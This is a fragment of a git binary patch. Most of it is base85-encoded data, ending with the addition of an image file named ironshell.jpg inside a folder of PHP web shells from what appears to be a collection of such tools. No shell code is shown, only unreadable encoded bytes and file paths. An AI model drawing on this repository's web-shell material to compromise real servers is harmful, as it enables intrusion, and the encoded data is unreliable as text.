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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【ironshell】/ironshell.jpg b/php/PHPshell/【ironshell】/ironshell.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d22bfad95247f41511abcd992d7ff1d44a301461 GIT binary patch literal 118275 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 